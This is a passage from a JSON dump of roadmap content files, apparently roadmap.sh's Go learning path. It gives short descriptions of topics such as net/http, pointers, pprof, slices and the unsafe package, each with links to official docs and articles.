    "content": "# net/http Standard\n\nStandard library package for HTTP client/server functionality. Provides HTTP server with routing, middleware support, client for making requests. Handles TLS, HTTP/2, cookies, multipart forms. Foundation for web development without external frameworks.\n\nVisit the following resources to learn more:\n\n- [@official@http package](https://pkg.go.dev/net/http)\n- [@article@net/http package in Go](https://medium.com/@emonemrulhasan35/net-http-package-in-go-e178c67d87f1)\n- [@article@How To Make an HTTP Server in Go](https://www.digitalocean.com/community/tutorials/how-to-make-an-http-server-in-go)"
  },
  {
    "path": "src/data/roadmaps/golang/content/orms--db-access@VcHHuIZ4lGzTxOoTwxA3e.md",
    "content": "# ORMs & DB Access\n\nGo offers multiple database access approaches: raw SQL with database/sql, ORMs like GORM/Ent, and query builders. Choose based on complexity needs - raw SQL for performance, ORMs for rapid development, query builders for balance. Consider connection pooling and migrations.\n\nVisit the following resources to learn more:\n\n- [@article@Go ORMs Compared](https://dev.to/encore/go-orms-compared-2c8g)\n- [@article@Master Data Management in Go: ORM & Libraries Guide](https://medium.com/@romulo.gatto/master-data-management-in-go-orm-libraries-guide-cd30cd65cba0)"
  },
  {
    "path": "src/data/roadmaps/golang/content/os@9S1gkzBvt32uLy0IFZjrg.md",
    "content": "# os\n\nStandard library package providing operating system interface. Handles file operations, environment variables, process management, and system information. Includes functions for file I/O, directory operations, process control, and cross-platform OS interactions. Essential for system programming.\n\nVisit the following resources to learn more:\n\n- [@official@os package](https://pkg.go.dev/os)\n- [@article@An Overview of Go's os and io Packages](https://reintech.io/blog/an-overview-of-gos-os-and-io-packages)"
  },
  {
    "path": "src/data/roadmaps/golang/content/package-import-rules@dA8SMhCev1NWNM1Tsxu57.md",
    "content": "# Package Import Rules\n\nKey rules: no circular imports, main package for executables, lowercase package names, exported identifiers start with capitals. Import paths are unique identifiers. Understanding ensures proper structure and follows Go conventions.\n\nVisit the following resources to learn more:\n\n- [@official@os package](https://pkg.go.dev/os)\n- [@article@Importing Packages in Go](https://www.digitalocean.com/community/tutorials/importing-packages-in-go)\n- [@article@A Comprehensive Guide to Importing and Using Packages](https://learnscripting.org/a-comprehensive-guide-to-importing-and-using-packages-in-go/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/packages@AcYzrGFrwmeVYFEfhEiSZ.md",
    "content": "# Packages\n\nFundamental unit of code organization in Go. Group related functions, types, and variables. Defined by package declaration at file top. Exported names start with capital letters. Import with `import` statement. Enable modularity, reusability, and namespace management.\n\nVisit the following resources to learn more:\n\n- [@official@os package](https://pkg.go.dev/os)\n- [@article@Importing Packages in Go](https://www.digitalocean.com/community/tutorials/importing-packages-in-go)\n- [@article@A Comprehensive Guide to Importing and Using Packages](https://learnscripting.org/a-comprehensive-guide-to-importing-and-using-packages-in-go/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/panic-and-recover@2KyzUjcMiMgo_AvlPjYbx.md",
    "content": "# panic and recover\n\n`panic()` stops execution and unwinds stack, `recover()` catches panics in deferred functions. Use sparingly for unrecoverable errors. While Go emphasizes explicit errors, panic/recover serve as safety net for exceptional situations.\n\nVisit the following resources to learn more:\n\n- [@official@Defer, Panic, and Recover](https://go.dev/blog/defer-panic-and-recover)\n- [@article@Handling Panics in Go](https://www.digitalocean.com/community/tutorials/handling-panics-in-go)"
  },
  {
    "path": "src/data/roadmaps/golang/content/performance-and-debugging@profiling-tools.md",
    "content": "# Performance and Debugging\n\nGo provides powerful debugging and profiling tools including pprof for CPU/memory analysis, trace for execution analysis, and race detector for concurrency issues. These tools help identify bottlenecks, optimize performance, and debug complex problems in production applications.\n\nVisit the following resources to learn more:\n\n- [@official@Debugging Performance](https://go.dev/wiki/Performance)\n- [@article@Unlocking Hidden Performance Bottlenecks in Golang](https://dev.to/aryanmehrotra/unlocking-hidden-performance-bottlenecks-in-golang-using-gofr-the-underrated-power-of-pprof-2dc7)\n- [@article@Advanced Profiling & Debugging for Go at Scale](https://renaldid.medium.com/advanced-techniques-for-profiling-and-debugging-go-applications-at-scale-c1ce7a67e39f)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/pgx@cOj6klfBzTQQ8G75umLQZ.md",
    "content": "# pgx\n\npgx is a pure Go PostgreSQL driver providing both database/sql compatibility and native PostgreSQL features. Offers better performance than lib/pq, includes arrays, JSON support, connection pooling, and PostgreSQL-specific features like LISTEN/NOTIFY.\n\nVisit the following resources to learn more:\n\n- [@official@pgx package](https://pkg.go.dev/github.com/jackc/pgx)\n- [@article@Getting Started with PostgreSQL in Go using PGX](https://betterstack.com/community/guides/scaling-go/postgresql-pgx-golang/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/pipeline@loozcCzPzkni7BOdcvt1S.md",
    "content": "# Pipeline\n\nConcurrency pattern chaining processing stages where output of one stage becomes input of next. Each stage runs concurrently using goroutines and channels. Enables parallel processing and separation of concerns. Common in data processing, transformation workflows, and streaming applications.\n\nVisit the following resources to learn more:\n\n- [@official@Concurrency Pipelines](https://go.dev/blog/pipelines)\n- [@article@Pipeline Pattern in Go: A Practical Guide](https://dev.to/leapcell/pipeline-pattern-in-go-a-practical-guide-5dmm)\n- [@article@Applying Modern Go Concurrency Patterns to Data Pipelines](https://medium.com/amboss/applying-modern-go-concurrency-patterns-to-data-pipelines-b3b5327908d4)"
  },
  {
    "path": "src/data/roadmaps/golang/content/plugins--dynamic-loading@NlkrCAdUCJ7kU9meQJM5_.md",
    "content": "# Plugins & Dynamic Loading\n\nGo's plugin system allows loading shared libraries (.so files) at runtime using the `plugin` package. Built with `go build -buildmode=plugin`. Enables modular architectures but has limitations: Unix-only, version compatibility issues, and complexity.\n\nVisit the following resources to learn more:\n\n- [@official@plugin package](https://pkg.go.dev/plugin)\n- [@article@Plugins with Go How to use Go's standard](https://medium.com/profusion-engineering/plugins-with-go-7ea1e7a280d3)\n- [@article@Plugin in Golang](https://dev.to/jacktt/plugin-in-golang-4m67)"
  },
  {
    "path": "src/data/roadmaps/golang/content/pointer-receivers@6NKgb-OjGdT3QsMrDU05b.md",
    "content": "# Pointer Receivers\n\nMethods receive pointer to struct rather than copy using `func (p *Type) methodName()` syntax. Necessary when method modifies receiver state or struct is large. Go automatically handles value/pointer conversion when calling methods.\n\nVisit the following resources to learn more:\n\n- [@official@Pointer Receivers](https://go.dev/tour/methods/4)\n- [@article@Understanding Value and Pointer Receivers in Golang](https://medium.com/the-bug-shots/understanding-value-and-pointer-receivers-in-golang-82dd73a3eef9)\n- [@article@How to define methods with pointer receivers](https://labex.io/tutorials/go-how-to-define-methods-with-pointer-receivers-437937)"
  },
  {
    "path": "src/data/roadmaps/golang/content/pointers-basics@P0fUxEbb3bVYg35VWyg8R.md",
    "content": "# Pointer Basics\n\nVariables storing memory addresses of other variables. Declared with `*Type`, dereferenced with `*ptr`, address obtained with `&var`. Enable efficient memory usage and allow functions to modify caller's data. Essential for performance and reference semantics.\n\nVisit the following resources to learn more:\n\n- [@official@Pointers](https://go.dev/tour/moretypes/1)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/pointers-with-structs@NfYlEY8f_YPITT6Exp3Iw.md",
    "content": "# Pointers with Structs\n\nPointers to structs enable efficient passing of large structures and allow modification of struct fields. Access fields with `(*ptr).field` or shorthand `ptr.field`. Common for method receivers and when structs need to be modified by functions. Essential for memory efficiency.\n\nVisit the following resources to learn more:\n\n- [@official@Pointers to structs](https://go.dev/tour/moretypes/4)\n- [@article@When should I use pointer and struct in golang?](https://medium.com/@wasiualhasib/working-with-structs-and-pointers-in-go-32a00a460cea)"
  },
  {
    "path": "src/data/roadmaps/golang/content/pointers@naBjKGrTBzlpapXzLHfvG.md",
    "content": "# Pointers\n\nVariables storing memory addresses of other variables. Enable efficient memory usage and allow functions to modify values. Declared with `*Type`, address obtained with `&`. No pointer arithmetic for safety. Essential for performance and building data structures.\n\nVisit the following resources to learn more:\n\n- [@official@Pointers](https://go.dev/tour/moretypes/1)\n- [@article@Understanding Value and Pointer Receivers in Golang](https://medium.com/the-bug-shots/understanding-value-and-pointer-receivers-in-golang-82dd73a3eef9)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/pprof@Blz9cpgKhuqtY75oUQw6I.md",
    "content": "# pprof\n\nBuilt-in profiling tool for analyzing program performance. Profiles CPU usage, memory allocation, goroutines, blocking operations. Import `net/http/pprof` for web interface or use `go tool pprof` for analysis. Essential for performance optimization and bottleneck identification.\n\nVisit the following resources to learn more:\n\n- [@official@pprof package](https://pkg.go.dev/runtime/pprof)\n- [@article@Go Profiling with pprof: A Step-by-Step Guide](https://medium.com/@jhathnagoda/go-profiling-with-pprof-a-step-by-step-guide-a62323915cb0)"
  },
  {
    "path": "src/data/roadmaps/golang/content/publishing-modules@CysLmwRqmQzOGAKM01AKF.md",
    "content": "# Publishing Modules\n\nShare Go code through version control systems using semantic versioning tags. Go proxy system automatically discovers and serves modules. Follow Go conventions, maintain documentation, and ensure backward compatibility to contribute to the ecosystem.\n\nVisit the following resources to learn more:\n\n- [@official@Publishing Modules](https://go.dev/doc/modules/publishing)\n- [@article@How To Create & Publish a Go Public Package](https://medium.com/the-godev-corner/how-to-create-publish-a-go-public-package-9034e6bfe4a9)"
  },
  {
    "path": "src/data/roadmaps/golang/content/race-detection@GoV8yaQARJmO47e0_l_GY.md",
    "content": "# Race Detection\n\nBuilt-in tool for detecting race conditions in concurrent programs. Enabled with `-race` flag during build/test/run. Detects unsynchronized access to shared variables from multiple goroutines. Performance overhead in race mode. Essential for debugging concurrent code safety.\n\nVisit the following resources to learn more:\n\n- [@official@Race Detection](https://go.dev/doc/articles/race_detector)\n- [@article@Go: Race Detector with ThreadSanitizer](https://medium.com/a-journey-with-go/go-race-detector-with-threadsanitizer-8e497f9e42db)\n- [@article@Data Race Detection and Data Race Patterns in Golang](https://www.sobyte.net/post/2022-06/go-data-race/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/race-detector@7aTYeCd915F3UHqb6j0Az.md",
    "content": "# Race Detector\n\nRuntime tool detecting data races in concurrent programs using the `-race` flag. Tracks memory accesses and reports conflicts with detailed information including stack traces. Essential for finding concurrency bugs during development and testing.\n\nVisit the following resources to learn more:\n\n- [@official@Race Detection](https://go.dev/doc/articles/race_detector)\n- [@article@Go: Race Detector with ThreadSanitizer](https://medium.com/a-journey-with-go/go-race-detector-with-threadsanitizer-8e497f9e42db)\n- [@article@Data Race Detection and Data Race Patterns in Golang](https://www.sobyte.net/post/2022-06/go-data-race/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/raw-string-literals@nzPe6XVqhtOZFbea6f2Hg.md",
    "content": "# Raw String Literals\n\nEnclosed in backticks (\\`) and interpret characters literally without escape sequences. Preserve formatting including newlines. Ideal for regex, file paths, SQL queries, JSON templates, and multi-line text where escaping would be extensive.\n\nVisit the following resources to learn more:\n\n- [@official@Strings in Go](https://go.dev/blog/strings#what-is-a-string)\n- [@article@Golang Quick Reference: Strings. Introduction](https://medium.com/@golangda/golang-quick-reference-strings-0d68bb036c29)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/realtime-communication@o2EYfm1WSd8Eq_ZcXYreo.md",
    "content": "# Realtime Communication\n\nRealtime communication in Go enables instant bidirectional updates using WebSockets, Server-Sent Events, and messaging patterns. Go's concurrency makes it ideal for handling multiple connections. Essential for chat apps, live dashboards, and interactive applications requiring immediate synchronization.\n\nVisit the following resources to learn more:\n\n- [@official@http package](https://pkg.go.dev/net/http)\n- [@article@Implementing WebSockets in Golang](https://medium.com/wisemonks/implementing-websockets-in-golang-d3e8e219733b)"
  },
  {
    "path": "src/data/roadmaps/golang/content/reflection@GO50AoBOjO-EaK3s36jSS.md",
    "content": "# Reflection\n\nReflection allows runtime inspection and manipulation of types and values using the `reflect` package. Enables dynamic method calls and type examination but has performance overhead. Used in JSON marshaling, ORMs, and frameworks.\n\nVisit the following resources to learn more:\n\n- [@official@reflect package](https://pkg.go.dev/reflect)\n- [@official@The Laws of Reflection](https://go.dev/blog/laws-of-reflection)\n- [@article@Reflection in Go: Use cases and tutorial](https://blog.logrocket.com/reflection-go-use-cases-tutorial/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/regexp@9K5ffACdKNPJiWPq4tUWD.md",
    "content": "# regexp\n\nStandard library package for regular expression functionality. Implements RE2 syntax for safe, efficient pattern matching. Provides functions for matching, finding, replacing text patterns. Supports compiled expressions for performance. Essential for text processing, validation, parsing.\n\nVisit the following resources to learn more:\n\n- [@official@regexp package](https://pkg.go.dev/regexp)\n- [@article@Mastering Regular Expressions in Golang](https://labex.io/tutorials/go-golang-regular-expression-tutorial-15502)\n- [@article@A deep dive into regular expressions with Golang](https://blog.logrocket.com/deep-dive-regular-expressions-golang/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/revive@ksimJz7uvSh80ZIekSn_-.md",
    "content": "# revive\n\nFast, configurable Go linter providing rich formatting and many rules for code analysis. Drop-in replacement for golint with better performance, configurable rules, and various output formats. Helps maintain consistent code quality across projects.\n\nVisit the following resources to learn more:\n\n- [@official@revive - fast & configurable linter for Go](https://revive.run/docs)\n- [@opensource@mgechev/revive](https://github.com/mgechev/revive)\n- [@article@Level Up Your Go Style with revive](https://medium.com/@caring_smitten_gerbil_914/%EF%B8%8F-level-up-your-go-style-with-revive-the-fast-configurable-community-friendly-linter-78dacbe74191)"
  },
  {
    "path": "src/data/roadmaps/golang/content/runes@IAXI7OAAAG4fU6JvVNSZI.md",
    "content": "# Runes\n\nRepresent Unicode code points as `int32` type. Enable proper handling of international characters and emojis. Use single quotes like `'A'` or `'中'`. Essential for internationalized applications and correctly processing global text content beyond ASCII.\n\nVisit the following resources to learn more:\n\n- [@official@Characters in Go](https://go.dev/blog/strings)\n- [@article@Understanding Runes in Go](https://dev.to/jeseekuya/understanding-runes-in-go-4ie5)\n- [@article@Demystifying Runes: A Complete Guide to Using Runes in Go](https://thelinuxcode.com/golang-rune/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/scope-and-shadowing@xUKsD2eTP9-RszHvKYp9Y.md",
    "content": "# Scope and Shadowing\n\nScope determines variable accessibility from universe to block level. Shadowing occurs when inner scope variables hide outer ones with same names. Go has package, function, and block scopes. Understanding prevents bugs from accidentally creating new variables.\n\nVisit the following resources to learn more:\n\n- [@article@Variable Shadowing in Go: Best Practices](https://medium.com/@shahpershahin/variable-shadowing-in-go-best-practices-to-avoid-confusions-and-bugs-61e03022b54d)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/security@vulnerability-scanning.md",
    "content": "# Security\n\nGo security involves input validation, secure communication, and vulnerability scanning. Built-in features like memory safety and strong typing help prevent issues. Tools like govulncheck identify dependency vulnerabilities, while static analysis detects security problems in code.\n\nVisit the following resources to learn more:\n\n- [@official@Security in Go](https://go.dev/doc/security/)\n- [@article@Golang Security Best Practices for Developers](https://codezup.com/golang-security-best-practices/)\n- [@article@OWASP Golang Security Best Practices](https://rabson.medium.com/owasp-golang-security-best-practices-7defaaba8a55)"
  },
  {
    "path": "src/data/roadmaps/golang/content/select-statement@RBr1uAdngIsvSpIdHHOyV.md",
    "content": "# Select Statement\n\nMultiplexer for channel operations. Waits on multiple channel operations simultaneously, executing first one ready. Supports send/receive operations, default case for non-blocking behavior. Essential for coordinating multiple goroutines and implementing timeouts.\n\nVisit the following resources to learn more:\n\n- [@official@Select Statement](https://go.dev/tour/concurrency/5)\n- [@article@Select Statement in Go (Golang)](https://golangbyexamples.com/select-statement-golang/)\n- [@article@Go (Golang) Select Tutorial with Practical Examples](https://golangbot.com/select/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/sentinel-errors@vjfqq1XVS25FVe9smtel0.md",
    "content": "# Sentinel Errors\n\nPredefined error values representing specific conditions, defined as package-level variables. Check using `errors.Is()` or direct comparison. Examples: `io.EOF`. Enable predictable APIs where callers handle specific errors differently.\n\nVisit the following resources to learn more:\n\n- [@article@Golang Sentinel Error](https://www.tiredsg.dev/blog/golang-sentinel-error/)\n- [@article@Writing Clean Code in Go: Sentinel Errors](https://medium.com/gopher-time/writing-clean-code-in-go-sentinel-errors-5ad93a30bc8e)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/setting-up-the-environment@J5mU0v491qrm-mr1W3Msd.md",
    "content": "# Setting up the Environment\n\nInstall Go from official website, configure PATH, and set up workspace. Configure editor with Go support (VS Code, GoLand, Vim/Emacs). Use modules for dependency management. Verify installation with `go version` and test with simple program.\n\nVisit the following resources to learn more:\n\n- [@official@Golang](https://go.dev/)\n- [@official@Setting up the Environment](https://go.dev/doc/install)\n- [@article@How to Set Up a Go Development Environment?](https://medium.com/codex/how-to-set-up-a-go-development-environment-67b4b002182e)"
  },
  {
    "path": "src/data/roadmaps/golang/content/slice-to-array-conversion@j0zmfpaufr5TAZa_Bh8Vu.md",
    "content": "# Slice to Array Conversion\n\nConvert slice to array using `[N]T(slice)` (Go 1.17+). Copies data from slice to fixed-size array. Panics if slice has fewer than N elements. Useful when array semantics or specific size guarantees are needed.\n\nVisit the following resources to learn more:\n\n- [@article@Slice Arrays Correctly](https://labex.io/tutorials/go-how-to-slice-arrays-correctly-418936)\n- [@article@Go - Create Slice From Array - 3 Examples](https://www.tutorialkart.com/golang-tutorial/golang-create-slice-from-array/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/slices@3aoMFQXIh3Qdo04isHwe_.md",
    "content": "# Slices\n\nDynamic arrays built on top of arrays. Reference types with length and capacity. Created with `make()` or slice literals. Support append, copy operations. More flexible than arrays - most commonly used sequence type in Go.\n\nVisit the following resources to learn more:\n\n- [@official@make](https://go.dev/tour/moretypes/13)\n- [@article@The new() vs make() Functions in Go](https://www.freecodecamp.org/news/new-vs-make-functions-in-go/)\n- [@article@Slice Arrays Correctly](https://labex.io/tutorials/go-how-to-slice-arrays-correctly-418936)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/slog@hFlbSSBMcJtjXNL8jAcbc.md",
    "content": "# slog\n\nStructured logging package introduced in Go 1.21. Provides leveled, structured logging with JSON output support. Better than basic log package for production use. Supports custom handlers, context integration, and performance optimization. Modern replacement for traditional logging.\n\nVisit the following resources to learn more:\n\n- [@official@Structured Logging with slog](https://go.dev/blog/slog)\n- [@article@Logging in Go with Slog: The Ultimate Guide](https://betterstack.com/community/guides/logging/logging-in-go/)\n- [@article@Effective Logging in Go: Best Practices and Implementation](https://dev.to/fazal_mansuri_/effective-logging-in-go-best-practices-and-implementation-guide-23hp)"
  },
  {
    "path": "src/data/roadmaps/golang/content/stack-traces--debugging@rR_BIgiSR63rVlO2Igzin.md",
    "content": "# Stack Traces & Debugging\n\nGo automatically prints stack traces on panic showing call chain. Tools include Delve debugger, pprof profiling, and race detection. Stack traces show function calls, file locations, and line numbers for effective troubleshooting.\n\nVisit the following resources to learn more:\n\n- [@official@Diagnostics](https://go.dev/doc/diagnostics)\n- [@article@A Comprehensive Guide to Debugging Go Code for Developers](https://dev.to/adityabhuyan/a-comprehensive-guide-to-debugging-go-code-for-developers-h9d)\n- [@article@Reading Go Stack Traces - Go Debugging Example](https://go-cookbook.com/snippets/debugging/reading-go-stack-traces)"
  },
  {
    "path": "src/data/roadmaps/golang/content/standard-library@-Qy9DEWVYUNRHWiXXhIWU.md",
    "content": "# Standard Library\n\nComprehensive collection of packages providing core functionality. Includes I/O, networking, text processing, cryptography, testing, JSON handling, HTTP client/server. Rich ecosystem reducing need for external dependencies. Well-documented, tested, and performance-optimized packages.\n\nVisit the following resources to learn more:\n\n- [@official@std package](https://pkg.go.dev/stds)\n- [@article@Building Robust APIs with Go's Standard Library](https://dev.to/aaravjoshi/building-robust-apis-with-gos-standard-library-a-comprehensive-guide-3036)\n- [@article@How to use standard library packages in Golang](https://labex.io/tutorials/go-how-to-use-standard-library-packages-in-golang-446140)"
  },
  {
    "path": "src/data/roadmaps/golang/content/staticcheck@954ffF8CmXYX-L36Lfl44.md",
    "content": "# staticcheck\n\nState-of-the-art Go linter catching bugs, performance issues, and style problems through static analysis. Provides more comprehensive checking than go vet with very few false positives. Detects unused code, incorrect API usage, and subtle bugs.\n\nVisit the following resources to learn more:\n\n- [@official@Staticcheck](https://staticcheck.dev/docs/)\n- [@opensource@dominikh/go-tools: Staticcheck](https://github.com/dominikh/go-tools)"
  },
  {
    "path": "src/data/roadmaps/golang/content/strings@ZxZpReGdPq8ziSlYmf2nj.md",
    "content": "# Strings\n\nImmutable sequences of bytes representing UTF-8 encoded text. String operations create new strings rather than modifying existing ones. Iterate by bytes (indexing) or runes (for range). Convert between strings and byte slices. Understanding strings helps with text manipulation and performance.\n\nVisit the following resources to learn more:\n\n- [@official@String](https://go.dev/blog/strings)\n- [@official@Go Speculation](https://go.dev/ref/spec)\n- [@article@Golang Quick Reference: Strings. Introduction](https://medium.com/@golangda/golang-quick-reference-strings-0d68bb036c29)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/struct-tags--json@SW2uMlhfC-dnQakShs2km.md",
    "content": "# Struct Tags & JSON\n\nStruct tags provide metadata about fields using backticks with key-value pairs. JSON tags control field names, omit empty fields, or skip fields. Example: `json:\"name,omitempty\"`. Essential for APIs and data serialization formats.\n\nVisit the following resources to learn more:\n\n- [@official@Well known struct tags](https://go.dev/wiki/Well-known-struct-tags)\n- [@article@Working with JSON and Struct Tags](https://medium.com/@sanyamdubey28/working-with-json-and-struct-tags-in-go-0e6a7c4fc6b0)\n- [@article@Understanding Struct Tags and JSON Encoding in Go](https://towardsdev.com/understanding-struct-tags-and-json-encoding-in-go-9e51d551c0ce)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/structs@wRwt9JHZPmq8uapxMjn0a.md",
    "content": "# Structs\n\nCustom data types grouping related fields under single name. Similar to classes but methods defined separately. Create complex data models, organize information, define application data structure. Access fields with dot notation, pass to functions. Fundamental for object-oriented designs.\n\nVisit the following resources to learn more:\n\n- [@official@Structs](https://go.dev/tour/moretypes/2)\n- [@article@Go Struct: A Deep Dive](https://leapcell.medium.com/deep-dive-into-go-struct-103961431c64)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/switch@ZmPhiTrB8EK0LDdaJOhc8.md",
    "content": "# switch\n\nClean way to compare variable against multiple values and execute corresponding code blocks. No break statements needed (no fall-through by default). Works with any comparable type, supports multiple values per case, expression/type switches. More readable than if-else chains.\n\nVisit the following resources to learn more:\n\n- [@official@Switch](https://go.dev/wiki/Switch)\n- [@article@Go by Example: Switch](https://gobyexample.com/switch)\n- [@article@Learn Switch Statement in Go (Golang) with Examples](https://golangbot.com/switch/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/sync-package@nOI0juYhqJXNTiJBU4bKH.md",
    "content": "# sync Package\n\nProvides synchronization primitives for coordinating goroutines and safe concurrent access. Includes Mutex (mutual exclusion), RWMutex (reader-writer locks), WaitGroup (waiting on goroutines), Once (one-time init). Essential for avoiding race conditions.\n\nVisit the following resources to learn more:\n\n- [@official@sync package](https://pkg.go.dev/sync)\n- [@article@Golang Sync Package](https://medium.com/@asgrr/golang-sync-4787b18fee41)\n- [@article@Use of synchronization techniques in Golang](https://lebum.medium.com/use-of-synchronization-techniques-in-golang-53d75bc0a646)"
  },
  {
    "path": "src/data/roadmaps/golang/content/table-driven-tests@6-mr65JzXbRzIukE7jzoZ.md",
    "content": "# Table-driven Tests\n\nTable-driven tests use slices of test cases to test multiple scenarios with the same logic. Each case contains inputs and expected outputs. Makes adding test cases easy and provides comprehensive coverage with minimal code duplication.\n\nVisit the following resources to learn more:\n\n- [@official@TableDrivenTests](https://go.dev/wiki/TableDrivenTests)\n- [@article@Table Driven Unit Tests in Go](https://dev.to/boncheff/table-driven-unit-tests-in-go-407b)\n- [@article@Testing in Go with table drive tests and Testify](https://dev.to/zpeters/testing-in-go-with-table-drive-tests-and-testify-kd4)"
  },
  {
    "path": "src/data/roadmaps/golang/content/testing-package-basics@nZkLFmm2GENL81y5LB0c1.md",
    "content": "# Testing Package Basics\n\nStandard library package for writing tests. Test functions start with `Test` and take `*testing.T` parameter. Use `t.Error()`, `t.Fatal()` for failures. Test files end with `_test.go`. Run with `go test`. Supports benchmarks and examples.\n\nVisit the following resources to learn more:\n\n- [@official@testing package](https://pkg.go.dev/testing)\n- [@article@How to manage testing package setup](https://labex.io/tutorials/go-how-to-manage-testing-package-setup-451557)\n- [@article@Go Unit Testing: A Practical Guide for Writing Reliable Tests](https://www.ceos3c.com/golang/go-unit-testing-a-practical-guide-for-writing-reliable-tests/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/time@aK9EQO1JR9hYIMkS3mdai.md",
    "content": "# time\n\nStandard library package for time and date operations. Handles parsing, formatting, arithmetic, timers, tickers, and timezone operations. Key types: Time, Duration, Location. Supports RFC3339 format, custom layouts, time zones. Essential for scheduling, timeouts, timestamps.\n\nVisit the following resources to learn more:\n\n- [@official@time package](https://pkg.go.dev/time)\n- [@article@How To Use Dates and Times in Go](https://www.digitalocean.com/community/tutorials/how-to-use-dates-and-times-in-go)\n- [@article@Time in Go: Overview with Examples](https://medium.com/@rakeshmirji/time-in-go-overview-with-examples-ebb9e30cdb45)"
  },
  {
    "path": "src/data/roadmaps/golang/content/trace@RE2jfECHkWvy3ldDZL938.md",
    "content": "# trace\n\nThe Go trace tool captures execution traces showing goroutine execution, system calls, GC, and scheduling. Generate traces with `runtime/trace` package, analyze with `go tool trace`. Provides web interface for diagnosing concurrency issues and performance bottlenecks.\n\nVisit the following resources to learn more:\n\n- [@official@Execution Traces](https://go.dev/blog/execution-traces-2024)\n- [@article@Introduction to Tracing in Go with Jaeger & OpenTelemetry](https://medium.com/@nairouasalaton/introduction-to-tracing-in-go-with-jaeger-opentelemetry-71955c2afa39)\n- [@article@Go: Discovery of the Trace Package](https://medium.com/a-journey-with-go/go-discovery-of-the-trace-package-e5a821743c3c)"
  },
  {
    "path": "src/data/roadmaps/golang/content/type-assertions@4EJ4WnH2HA3ci2uoqmNex.md",
    "content": "# Type Assertions\n\nExtract underlying concrete value from interface. Syntax: `value.(Type)` or `value, ok := value.(Type)` for safe assertion. Panics if type assertion fails without ok form. Essential for working with interfaces and empty interfaces.\n\nVisit the following resources to learn more:\n\n- [@official@Type Assertions](https://go.dev/tour/methods/15)\n- [@article@Type assertions and type switches in Golang](https://www.educative.io/answers/type-assertions-and-type-switches-in-golang)\n- [@article@Mastering Type Assertion in Go](https://medium.com/@jamal.kaksouri/mastering-type-assertion-in-go-a-comprehensive-guide-216864b4ea4d)"
  },
  {
    "path": "src/data/roadmaps/golang/content/type-constraints@8o6A2kGnupGYaaTwgsTDp.md",
    "content": "# Type Constraints\n\nSpecify which types can be used as type arguments for generics. Defined using interfaces with method signatures or type sets. Common constraints include `any`, `comparable`, and custom constraints. Enable writing generic code that safely operates on type parameters.\n\nVisit the following resources to learn more:\n\n- [@official@Generics](https://go.dev/doc/tutorial/generics)\n- [@article@A walkthrough of type constraints in Go](https://simonklee.dk/type-constraints)\n- [@article@Mastering Type Assertion in Go](https://medium.com/@jamal.kaksouri/mastering-type-assertion-in-go-a-comprehensive-guide-216864b4ea4d)"
  },
  {
    "path": "src/data/roadmaps/golang/content/type-conversion@2IFxz3sFqDvUvzWNVwlWC.md",
    "content": "# Type Conversion\n\nConvert values between different types using `Type(value)` syntax. Go requires explicit conversion even between related types like `int` and `int64`. Essential for working with different data types and ensuring type compatibility in programs.\n\nVisit the following resources to learn more:\n\n- [@official@Type Conversion](https://go.dev/tour/basics/13)\n- [@article@A Comprehensive Guide to Type Casting and Conversions in Go](https://dev.to/zakariachahboun/a-comprehensive-guide-to-type-casting-and-conversions-in-go-26di)\n- [@article@Safe Go Type Conversions: Comprehensive Guide](https://medium.com/lyonas/go-type-casting-starter-guide-a9c1811670c5)"
  },
  {
    "path": "src/data/roadmaps/golang/content/type-inference@36gt0FmNDxuIIV47aqBeH.md",
    "content": "# Type Inference\n\nAllows compiler to automatically determine generic type arguments based on function arguments or context. Reduces need for explicit type specification while maintaining type safety. Makes generic functions cleaner and more readable by eliminating redundant type specifications.\n\nVisit the following resources to learn more:\n\n- [@official@Type Inference](https://go.dev/blog/type-inference)\n- [@article@What Is Type Inference? What It Is and How It Work](https://hackernoon.com/what-is-type-inference-what-it-is-and-how-it-works)\n- [@article@Chapter 4: Interface and Type Systems in Go](https://medium.com/@omidahn/chapter-4-interface-and-type-systems-in-go-75b52392cc38)"
  },
  {
    "path": "src/data/roadmaps/golang/content/type-switch@6r9XbwlBtHmJrhviG2cTD.md",
    "content": "# Type Switch\n\nSpecial form of switch statement that operates on types rather than values. Syntax: `switch v := i.(type)`. Used with interfaces to determine underlying concrete type. Each case specifies types to match. Essential for handling interface{} and polymorphic code.\n\nVisit the following resources to learn more:\n\n- [@official@Type Switch](https://go.dev/tour/methods/16)\n- [@article@A Comprehensive Guide to Type Switches in Go](https://thelinuxcode.com/golang-type-switch-examples/)\n- [@article@Chapter 4: Interface and Type Systems in Go](https://medium.com/@omidahn/chapter-4-interface-and-type-systems-in-go-75b52392cc38)"
  },
  {
    "path": "src/data/roadmaps/golang/content/unsafe-package@tM-AAWqMJsYZ1i6DCfBeD.md",
    "content": "# Unsafe Package\n\nThe `unsafe` package bypasses Go's type and memory safety for direct memory manipulation and pointer arithmetic. Powerful but dangerous - can cause crashes and vulnerabilities. Used for systems programming and performance-critical code. Use with extreme caution.\n\nVisit the following resources to learn more:\n\n- [@official@unsafe package](https://pkg.go.dev/unsafe)\n- [@article@Go: What is the Unsafe Package?](https://medium.com/a-journey-with-go/go-what-is-the-unsafe-package-d2443da36350)\n- [@article@Unsafe Package Usage in Go](https://go-cookbook.com/snippets/standard-library-packages/unsafe-package)"
  },
  {
    "path": "src/data/roadmaps/golang/content/urfavecli@bmNLSk-XuK2EuLxPR1Sxh.md",
